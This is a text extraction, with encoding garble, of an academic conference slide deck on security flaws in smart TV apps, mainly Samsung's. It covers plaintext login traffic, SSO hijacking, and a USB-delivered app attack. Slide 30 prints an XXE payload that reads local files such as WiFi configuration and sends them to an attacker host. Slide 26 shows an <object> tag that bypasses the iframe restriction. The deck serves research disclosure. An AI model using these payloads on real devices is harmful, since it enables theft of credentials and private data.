Not so Smart: On Smart TV Apps Marcus Niemietz , Juraj - - PowerPoint PPT Presentation

not so smart on smart tv apps
SMART_READER_LITE
LIVE PREVIEW

Not so Smart: On Smart TV Apps Marcus Niemietz , Juraj - - PowerPoint PPT Presentation

Not so Smart: On Smart TV Apps Marcus Niemietz , Juraj Somorvsky, Chris;an Mainka, Jrg Schwenk {firstname.lastname}@rub.de Ruhr University Bochum &


slide-1
SLIDE 1

Not ¡so ¡Smart: ¡On ¡Smart ¡TV ¡Apps ¡ ¡

Marcus ¡Niemietz, ¡Juraj ¡Somorvsky, ¡Chris;an ¡ Mainka, ¡Jörg ¡Schwenk ¡

{firstname.lastname}@rub.de ¡ ¡ Ruhr ¡University ¡Bochum ¡& ¡3curity ¡GmbH ¡

slide-2
SLIDE 2

Table ¡of ¡Contents ¡

  • Horst ¡Görtz ¡Ins;tute ¡for ¡IT ¡security ¡
  • 3curity ¡GmbH: ¡Trainings, ¡Pentests ¡
  • German ¡book ¡about ¡UI ¡redressing ¡
  • Speaker ¡at ¡ ¡Black ¡Hat, ¡BlueHat, ¡ ¡

PHDays, ¡Zeronights, ¡OWASP, ¡... ¡

  • TwiXer: ¡@mniemietz ¡
  • mail@mniemietz.de ¡
slide-3
SLIDE 3

Table ¡of ¡Contents ¡

  • 1. Introduc;on ¡& ¡Generaliza;on ¡
  • 2. Tested ¡Devices ¡
  • 3. AXacker ¡Model ¡
  • 4. Eavesdropping ¡AXtacks ¡
  • 5. Samsung: ¡AXached ¡Storage ¡and ¡Web ¡AXacks ¡
  • 6. Conclusions ¡
slide-4
SLIDE 4
  • 1. ¡Introduc;on ¡& ¡ ¡

Generaliza;on ¡

slide-5
SLIDE 5

Introduc;on ¡

  • “Years” ¡ago: ¡ ¡TVs ¡were ¡a ¡medium ¡to ¡watch ¡

news, ¡broadcasts, ¡documentaries, ¡or ¡ blockbusters ¡

  • Smart ¡TV: ¡

TV ¡+ ¡computer ¡with ¡Internet ¡connec;on ¡

slide-6
SLIDE 6

Introduc;on ¡

  • Smart ¡TV ¡apps ¡

– Social ¡networks ¡like ¡Facebook ¡ – Streaming ¡services ¡like ¡Nealix ¡or ¡Watchever ¡ – Games ¡like ¡Angry ¡Birds ¡ – Browsing ¡websites ¡

slide-7
SLIDE 7

Generaliza;on ¡

  • Can ¡be ¡also ¡applied ¡to ¡different ¡scenarios ¡

beyond ¡Smart ¡TVs ¡

– Internet ¡connec;on ¡ – App ¡rendering ¡engine(s) ¡(e.g., ¡from ¡a ¡browser) ¡ – Installed ¡aXacker’s ¡app ¡

  • „Internet ¡of ¡Things“ ¡is ¡nearly ¡everywhere ¡
slide-8
SLIDE 8
  • 2. ¡Tested ¡Devices ¡
slide-9
SLIDE 9

Tested ¡Devices ¡

slide-10
SLIDE 10
  • 3. ¡AXacker ¡Model ¡
slide-11
SLIDE 11

AXacker ¡Model ¡

  • Eavesdropper ¡

– Sniffing ¡HTTP ¡traffic ¡

  • AXached ¡Storage ¡AXacker ¡

– For ¡example ¡a ¡USB ¡flash ¡drive ¡

  • Malware ¡AXacker ¡

– Device’s ¡app ¡store ¡or ¡aXacker ¡controlled ¡website ¡

slide-12
SLIDE 12
  • 4. ¡Eavesdropping ¡AXacks ¡
slide-13
SLIDE 13

Eavesdropping ¡AXtacks ¡

slide-14
SLIDE 14

Vulnerable ¡Login ¡Apps ¡

  • Samsung ¡

– 25 ¡pre-­‑installed ¡ (WATCHEVER ¡v2.200, ¡ImmoScout24 ¡v1.010) ¡ – 31 ¡app ¡store ¡ ¡ (NewMoove ¡v2.2003, ¡Putpat ¡TV ¡v2.504) ¡

  • Grundig ¡

– ¡34 ¡apps: ¡Facebook, ¡Ebay, ¡and ¡Viewster ¡

  • Apple: ¡WATCHEVER, ¡Google ¡& ¡Amazon: ¡0 ¡
slide-15
SLIDE 15

¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡

Wireshark ¡logs ¡

DeepSec ¡DEMO ¡

slide-16
SLIDE 16

¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡

slide-17
SLIDE 17

VEVO ¡App: ¡Market ¡Research ¡Traffic ¡

slide-18
SLIDE 18

VEVO ¡App: ¡Market ¡Research ¡Traffic ¡

  • „ScorecardResearch ¡... ¡market ¡research ¡

community, ¡a ¡leading ¡global ¡market ¡research ¡ effort ¡that ¡studies ¡and ¡reports ¡on ¡Internet ¡ trends ¡and ¡behavior. ¡ScorecardResearch ¡ conducts ¡research ¡by ¡collec;ng ¡Internet ¡web ¡ browsing ¡data ¡and ¡then ¡uses ¡that ¡data ¡to ¡help ¡ show ¡how ¡people ¡use ¡the ¡Internet, ¡what ¡they ¡ like ¡about ¡it, ¡and ¡what ¡they ¡don’t.“ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Source: ¡www.scorecardresearch.com ¡

slide-19
SLIDE 19

Samsung ¡SSO ¡

slide-20
SLIDE 20

¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡

  • Access ¡to ¡

– Samsung ¡GALAXY ¡Apps ¡ – Samsung ¡Link ¡ – Find ¡My ¡Mobile ¡ – Smart ¡Appliance ¡ – Samsung ¡e-­‑Store ¡ – PEN.UP ¡ – Samsung ¡Wallet, ¡S ¡Health, ¡Samsung ¡Cloud, ¡... ¡

slide-21
SLIDE 21
  • 5. ¡Samsung: ¡AXached ¡Storage ¡ ¡

and ¡Web ¡AXacks ¡

slide-22
SLIDE 22

Samsung ¡Apps ¡

  • Basically ¡just ¡a ¡normal ¡website ¡

¡(HTML5, ¡CSS, ¡JavaScript) ¡

– config.xml – index.html

– Op;onal ¡HTML, ¡CSS, ¡JS, ¡etc. ¡

  • Can ¡be ¡loaded ¡from ¡a ¡USB ¡device ¡
slide-23
SLIDE 23

Samsung ¡Apps ¡

  • navigator.userAgent

– Mozilla/5.0 ¡(SmartHub;SMART-­‑TV;U;Linux/ SmartTV+2014;Maple2012) ¡AppleWebKit/537.42+ ¡ (KHTML, ¡like ¡Gecko) ¡Smart ¡TV ¡Safari/537.42+ ¡

slide-24
SLIDE 24

Samsung ¡Apps ¡

  • document.location

– file:///dtv/usb/sda1/UIR6_0.100_Europe_20150309/ index.html?country=D&language=17&lang=en-­‑ GB&modelid=14_X14_2D&server=opera;on&remoco n=0_650_259_22&area=PANEURO&product=0&mgrv er=6.1571&ssoid=foobar@example.org&ssopw=secr et&authtoken=MORE-­‑STUFF&all_ar;st=jennifer-­‑ lopez&x_ar;st=&video_content_type=vevotv&ns_st_ pr=Top10Now&realmodel=UE22H5600&networktype =0 ¡

slide-25
SLIDE 25

Samsung ¡App ¡Bypass ¡

  • <iframe> ¡is ¡not ¡supported ¡in ¡the ¡app ¡context ¡

– Security ¡reasons? ¡ – Any ¡ideas ¡for ¡a ¡bypass? ¡

slide-26
SLIDE 26

Samsung ¡App ¡Bypass ¡

  • <iframe> ¡is ¡not ¡supported ¡in ¡the ¡app ¡context ¡
  • Thank ¡you ¡HTML!

<object class="iframelook" type="text/html" data="http:// www.attackers.org/tv" style="width: 100%; height:100%“>

slide-27
SLIDE 27

Samsung ¡File ¡Browser ¡via ¡our ¡App ¡

slide-28
SLIDE 28

Directory ¡lis;ng: ¡file:///

slide-29
SLIDE 29

App ¡Install ¡

  • AXack ¡via ¡USB ¡flash ¡drive ¡

– XML ¡External ¡En;ty: ¡ Read ¡files ¡with ¡one ¡line ¡automa;cally ¡

  • /dtv/cm_version_name ¡
  • /mtd_chmap/opera;ng_account_data ¡

– XMLHXpRequest: ¡ Read ¡all ¡files ¡by ¡ac;va;ng ¡the ¡app ¡

  • /mtd_chmap/network/wpa_sta.conf ¡
  • /mtd_pers/cookies ¡(FB ¡sends ¡data ¡to ¡South ¡Korea?) ¡
slide-30
SLIDE 30

XXE ¡

  • Config.xml ¡

<?xml ¡version="1.0" ¡encoding="UTF-­‑8"?> ¡ <!DOCTYPE ¡rooXag ¡[ ¡ <!ENTITY ¡% ¡ext ¡SYSTEM ¡"file:///mtd_chmap/…"> ¡ <!ENTITY ¡% ¡dtd ¡SYSTEM ¡"file:///dtv/usb/sda1/XXE/ aXacker.xml"> ¡ ¡ ¡ %dtd; ¡ ]> ¡ <widget ¡xmlns="hXp://www.samsung.com/"> ¡… ¡

  • A,acker.xml ¡

<!ENTITY ¡% ¡all ¡"<!ENTITY ¡send ¡SYSTEM ¡'hXp:// www.aXacker.com/tv/?%ext;'>"> ¡ %all ¡

slide-31
SLIDE 31

file://

  • App ¡can ¡“access” ¡all ¡(?) ¡files ¡

– Wifi ¡data ¡(incl. ¡password) ¡ – Apps ¡Cookies ¡ ¡ – Local ¡Storage ¡(ZaXoo: ¡login ¡data) ¡ – SSO ¡username ¡(one ¡line) ¡ – Browser ¡history ¡ – Common ¡user ¡inputs ¡

  • FB ¡and ¡Samsung-­‑SSO ¡username/password ¡

– Par;al ¡webcam ¡access ¡

slide-32
SLIDE 32

file:// & OAuth ¡

  • OAuth ¡is ¡not ¡to ¡log ¡in ¡the ¡user ¡into ¡an ¡applica;on, ¡

but ¡to ¡grant ¡access ¡rights ¡on ¡specific ¡resources ¡to ¡ it ¡

  • We ¡have ¡Samsung‘s ¡Facebook ¡Connect ¡API-­‑Key ¡

and ¡apiSecret ¡

– We ¡can ¡make ¡a ¡spoofed ¡client ¡ – We ¡cannot ¡get ¡user ¡creden;als ¡

  • Proof? ¡
slide-33
SLIDE 33

file:// & OAuth ¡

  • Only ¡at ¡the ¡conference, ¡sorry! ¡
slide-34
SLIDE 34

file:// & OAuth ¡

slide-35
SLIDE 35

file:// & OAuth ¡

slide-36
SLIDE 36

Just ¡saying ¡... ¡

  • A ¡never ¡ending ¡story? ¡

– Leaking ¡data ¡is ¡not ¡new ¡

  • Samsung ¡SmartTV ¡customers ¡warned ¡personal ¡

conversa;ons ¡may ¡be ¡recorded ¡(hXp://is.gd/Wxq2oy) ¡

  • Read ¡It ¡Twice! ¡A ¡mass-­‑storage-­‑based ¡TOCTTOU ¡aXack ¡

(hXp://is.gd/VLC0yE) ¡

– Leaking ¡creden;als ¡without ¡any ¡aXack ¡is ¡new ¡

slide-37
SLIDE 37

Just ¡saying ¡... ¡

  • Our ¡research ¡was ¡covered ¡by ¡the ¡German ¡

media ¡(Heise, ¡Golem, ¡WDR, ¡and ¡ORF) ¡

– What ¡happens? ¡

  • Consumer ¡advice ¡centre ¡of ¡NRW ¡(Germany) ¡

hXps://www.vz-­‑nrw.de/klage-­‑gegen-­‑samsung ¡

slide-38
SLIDE 38

Samsung ¡Smart ¡TV ¡Bug ¡Bounty ¡

slide-39
SLIDE 39

Samsung ¡TV ¡Bounty ¡

  • “The ¡bugs ¡that ¡are ¡eligible ¡will ¡be ¡payed ¡

according ¡to ¡the ¡site ¡policy: ¡

– we ¡reward ¡only ¡unknown ¡and ¡unreported ¡issues ¡

  • n ¡TV/Blueray ¡models ¡from ¡E-­‑Series ¡and ¡above ¡

(2012 ¡to ¡2015). ¡ – you ¡agree ¡not ¡to ¡disclose ¡the ¡vulnerabili;es ¡to ¡3rd ¡ par;es ¡without ¡our ¡agreement ¡(we ¡can ¡agree ¡on ¡a ¡ publica;on ¡date ¡axer ¡the ¡security ¡patches ¡are ¡ deployed)“ ¡

slide-40
SLIDE 40
  • 6. ¡Conclusions ¡
slide-41
SLIDE 41

Conclusions ¡

  • New ¡IoT ¡technologies ¡like ¡Smart ¡TVs ¡are ¡a ¡

valuable ¡target ¡for ¡aXackers ¡

  • Lessons ¡learned ¡

– Use ¡TLS ¡ – Do ¡not ¡save ¡sensi;ve ¡data ¡(unencrypted) ¡ – Do ¡not ¡run ¡with ¡root ¡priviledges ¡ – Use ¡a ¡sandboxing ¡mechanism ¡

  • Todo: ¡Protect ¡your ¡webcam ¡

¡

slide-42
SLIDE 42

Thank ¡you ¡for ¡your ¡aXen;on. ¡ ¡ Ques;ons? ¡